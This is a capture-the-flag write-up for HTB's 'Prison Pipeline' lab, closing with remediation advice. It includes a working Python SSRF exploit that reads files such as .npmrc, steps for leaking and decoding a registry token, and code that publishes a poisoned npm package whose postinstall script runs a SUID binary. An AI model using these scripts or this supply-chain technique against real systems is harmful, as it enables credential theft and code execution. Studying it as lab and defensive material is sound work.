Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
MiscHard

Prison Pipeline

CTF writeup for Prison Pipeline from HTB CTF TRY OUT

//Prison Pipeline

Challenge: Prison Pipeline (MISC)

Goal: Exploit the Prison-Pipeline record management system to retrieve the HTB flag.

Remote: 94.237.48.12:52219


>TL;DR

An SSRF vulnerability in the /api/prisoners/import endpoint allows the server to fetch arbitrary URLs (including file://, gopher:// and localhost services). Using the SSRF I:

  1. Leaked internal configuration and credentials (an npm token in /home/node/.npmrc).

  2. Used that token to authenticate to the local Verdaccio registry and publish malicious prisoner-db package versions containing postinstall scripts.

  3. The system's cronjob automatically runs npm update prisoner-db and executes our postinstall on the server (as the node user). The postinstall executes the SUID binary /readflag and writes the flag into a file that Verdaccio serves.

  4. Retrieved the flag from the registry URL.

Final flag: HTB{pr1s0n_br34k_w1th_supply_ch41n!_561a54f306b52f993f4f81caad70aab6}


>Vulnerable components & notes

  • Application: Node.js / Express app serving /api/prisoners/import.

  • prisoner-db module performs the import using a node-libcurl wrapper and returns the fetched response body in the prisoner record.

  • POST /api/prisoners/import takes JSON { "url": "..." } and curl.get(url)s the URL. This is a classic SSRF sink.

  • The server runs additional internal services:

  - Verdaccio private registry on localhost:4873 (proxied by nginx on port 1337 when Host header is registry.prison-pipeline.htb).

  - A cronjob run by user node that periodically checks the local registry and runs npm --registry http://localhost:4873 update prisoner-db.

  - A SUID binary /readflag which executes cat /root/flag.

These components created a path to escalate SSRF => auth/credentials leak => package publish => remote code exec (postinstall) => root-file read (via SUID helper).


>Attack walkthrough (high level)

  1. Trigger SSRF and make the server fetch local files such as /home/node/.npmrc and /home/node/.config/verdaccio/*.

  2. From /home/node/.npmrc extract the registry token (value is base64 in the file). Decode the token to find usable credentials/token.

  3. Use the leaked token to authenticate to the Verdaccio registry (Host header registry.prison-pipeline.htb on remote port 52219) and publish a new version of package prisoner-db that includes a postinstall script.

  4. The server cronjob updates the package and executes postinstall as user node. The postinstall runs /readflag and writes output to a location served by Verdaccio.

  5. Fetch the file from the registry (which is externally accessible) and read the flag.


>Reproduction steps (with code & scripts used)

Notes: All commands were executed from my attacker machine. The remote server is 94.237.48.12:52219. In the code below the scripts live in the workspace under 001_extracted/.

1) SSRF: import arbitrary URLs

Script: 002_import_flag.py — simple harness to POST /api/prisoners/import and then fetch the created prisoner record. Use it to manually try file:// or http://127.0.0.1:4873 URLs.

Example: (contents of 002_import_flag.py)

python

#!/usr/bin/env python3

import requests

import sys

import time

  

HOST = 'http://94.237.48.12:52219'

URL = 'file:///root/flag'

  

if len(sys.argv) > 1:

    URL = sys.argv[1]

if len(sys.argv) > 2:

    HOST = sys.argv[2]

  

print('\n🔎 Starting exploit: Prison Pipeline SSRF -> file read')

print('-----------------------------------------------------')

print(f'Target host: {HOST}')

print(f'Fetch URL : {URL}\n')

  

try:

    print('📤 Importing prisoner record via SSRF...')

    resp = requests.post(HOST + '/api/prisoners/import', json={'url': URL}, timeout=10)

    print('↩️  Response status:', resp.status_code)

    print(resp.text)

    resp.raise_for_status()

  

    data = resp.json()

    pid = data.get('prisoner_id')

    if not pid:

        print('❌ No prisoner_id returned. Import may have failed.')

        sys.exit(1)

  

    print('\n⏳ Waiting a moment for server to write file...')

    time.sleep(1)

  

    print(f'📥 Fetching imported prisoner record {pid}...')

    resp2 = requests.get(HOST + f'/api/prisoners/{pid}', timeout=10)

    print('↩️  Response status:', resp2.status_code)

    print(resp2.text)

    resp2.raise_for_status()

  

    rec = resp2.json()

    raw = rec.get('raw')

    print('\n✨ Retrieved raw prisoner data:')

    print('-----------------------------------------------------')

    print(raw)

    print('-----------------------------------------------------')

  

    # Attempt to extract HTB flag pattern

    import re

    m = re.search(r"HTB\{[^}]+\}", raw)

    if m:

        print('\n🎯 Flag found:', m.group(0))

    else:

        print('\n⚠️  No HTB flag pattern found in retrieved content. Raw output printed above.')

  

except Exception as e:

    print('\n💥 Exploit failed:', e)

    sys.exit(1)

Run to try to fetch a file on the remote host:

bash

python3 002_import_flag.py "file:///home/node/.npmrc"

This saved the remote file into a new prisoner record that we can then fetch at /api/prisoners/<ID>.

2) Mass probing for local files using SSRF

I wrote a helper 008_ssrf_file_leak.py that attempts multiple URL forms (file://, http://127.0.0.1 with paths, gopher raw requests to ports 1337/4873) for a list of target files. The script saves responses into 009_leak_* files in the workspace.

Key targets included:

  • /home/node/.npmrc ( -> found an auth token)

  • /home/node/.config/verdaccio/config.yaml (registry configuration)

  • /home/node/.config/verdaccio/htpasswd (registry user list)

  • /home/node/setup-registry.sh and /home/node/cronjob.sh (revealed cron behavior)

  • /readflag and /root/flag (reading binaries vs files — note: reading /readflag returned the SUID binary ELF; reading /root/flag did not yield the final flag directly)

Example run (generate leaks):

bash

python3 008_ssrf_file_leak.py

The script saved the interesting findings under 009_leak_npmrc_node_att1.txt (contains a token) and 009_leak_verdaccio_config_att1.txt (contains Verdaccio config showing publish: $authenticated), and 009_leak_verdaccio_htpasswd_att1.txt (showing user registry existed).

A sample extracted .npmrc leaked line:

text

//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjVi..."

The base64 token decoded to a value of the form user:secret which we later used.

3) Decode the leaked token and attempt registry publish

I decoded the base64 token and tried several authentication variants. The correct form here was to use the base64 token value as a Bearer token in the Verdaccio Authorization header.

Short example of decoding (done in the workspace):

python

import base64

enc = 'MWZlMmI1O...'

print(base64.b64decode(enc).decode())

# => looks like: 1fe2b59...:8dc40e017...

Once the right header form was discovered, publishing to the registry worked.

I used the script 010_publish_with_leak.py (or a short ad-hoc Python requests PUT) to publish a new version of the prisoner-db package using the leaked Bearer token.

Important: the registry is reached through Nginx. All registry requests must include header Host: registry.prison-pipeline.htb (the scripts set this automatically when calling the remote server URL http://94.237.48.12:52219/<package>).

4) Publish a malicious package with postinstall

To trigger privileged file reads with the SUID helper, the malicious package had a postinstall script. The general idea was to have postinstall run /readflag and redirect output to a file we can fetch.

The cronjob runs as user node and periodically executes npm --registry http://localhost:4873 update prisoner-db. That means the server will auto-update to the latest published prisoner-db and run its postinstall.

Two approaches were used during the engagement:

  • Initially, a postinstall wrote the flag to /app/static/flag.txt (served by the main app). This worked but the app was subsequently unavailable (502), so I switched to writing somewhere served by Verdaccio itself.

  • Final approach: publish a version whose postinstall wrote /readflag output into the Verdaccio storage path for the package, e.g.

postinstall: /readflag > /home/node/.config/verdaccio/storage/prisoner-db/flag.txt

This path is served by Verdaccio (importantly, the registry UI serves files stored under its storage path via the package URL), so after postinstall runs we could GET the file directly from the registry with Host registry.prison-pipeline.htb:

GET http://94.237.48.12:52219/prisoner-db/-/flag.txt   (Host: registry.prison-pipeline.htb)

5) Publish & fetch (commands)

The script used to publish version 1.0.2 and fetch the flag was 010_publish_with_leak.py. The important part that published the malicious metadata looks like this (simplified):

python

# Build the tarball content (package.json + index.js), base64 it

metadata = {

    '_id': 'prisoner-db',

    'name': 'prisoner-db',

    'versions': {

        '1.0.2': {

            'name': 'prisoner-db',

            'version': '1.0.2',

            'scripts': {

                'postinstall': '/readflag > /home/node/.config/verdaccio/storage/prisoner-db/flag.txt'

            },

            'dist': { 'tarball': 'http://registry.prison-pipeline.htb/prisoner-db/-/prisoner-db-1.0.2.tgz' }

        }

    },

    'dist-tags': {'latest': '1.0.2'},

    '_attachments': { 'prisoner-db-1.0.2.tgz': { 'content_type': 'application/octet-stream', 'data': '<base64 tarball data>' }}

}

  

# PUT the metadata to the registry endpoint using the leaked Bearer token

requests.put('http://94.237.48.12:52219/prisoner-db', headers={'Host':'registry.prison-pipeline.htb','Authorization':'Bearer <token>'}, data=json.dumps(metadata))

After a short delay for the cronjob to pick up the new package (cronjob polls the registry every ~30s), I fetched the flag:

bash

curl -s -H "Host: registry.prison-pipeline.htb" "http://94.237.48.12:52219/prisoner-db/-/flag.txt"

This returned:

HTB{pr1s0n_br34k_w1th_supply_ch41n!_561a54f306b52f993f4f81caad70aab6}

>Files & scripts created during the exploit

  • 002_import_flag.py — quick SSRF/reader script used to import and fetch a remote resource via the import endpoint.

  • 003_publish_package.py — early attempt at publishing directly to registry (used for testing).

  • 004_ssrf_gopher_publish.py, 005_ssrf_create_user.py, 006_ssrf_4873_publish.py — experiments using gopher:// SSRF payloads to interact with the local registry from the server itself.

  • 007_ssrf_try_creds.py — small helper to attempt publishing/auth combos via SSRF to discover auth behavior.

  • 008_ssrf_file_leak.py — the targeted SSRF probing script that attempted many local file paths and wrote results to 009_leak_*.txt files.

  • 010_publish_with_leak.py — final script that used the leaked token and published prisoner-db versions (including the final postinstall that wrote the flag into Verdaccio storage).

All scripts can be found in the repository workspace in the 001_extracted/ folder.


>Why this is a realistic, high-impact vuln

  • SSRF can reach internal services that are not normally reachable from the outside (localhost:4873, localhost:5000, filesystem paths using file://).

  • The system uses an automated supply-chain process (registry + cronjob + npm update), which — when combined with SSRF and leaked auth — allows an attacker to inject code into the internal package distribution mechanism.

  • The presence of a SUID helper that can print the flag (/readflag) means a single postinstall executed by node can escalate to reading the root-owned flag due to setuid behavior.

This is a good example of a combined SSRF + config/secret leak + supply-chain abuse vulnerability chain.


>Remediation & hardening

  1. Harden SSRF sinks

   - Validate and whitelist allowed schemes/hosts for any server-side fetch. Disallow file://, gopher:// and local addresses unless absolutely necessary.

   - If you must allow fetches by URL, use a strict allowlist of domains and implement request filters (DNS rebinding, internal host checks, etc.).

  1. Secrets & credentials

   - Do not store tokens in plaintext local files accessible to app runtime. Use a secrets management system or environment variables with restricted access.

   - Ensure registry tokens are rotated and limited in scope.

  1. Registry & package management

   - Avoid running auto-update cronjobs that install packages from a local registry automatically. If using automated updates, install them in a sandboxed environment and scan packages for scripts.

   - Block or restrict postinstall scripts or run them in a constrained environment (no access to sensitive system paths).

  1. SUID helpers

   - Avoid SUID binaries that print sensitive files, or ensure they are properly hardened and do not allow direct misuse from less-privileged accounts.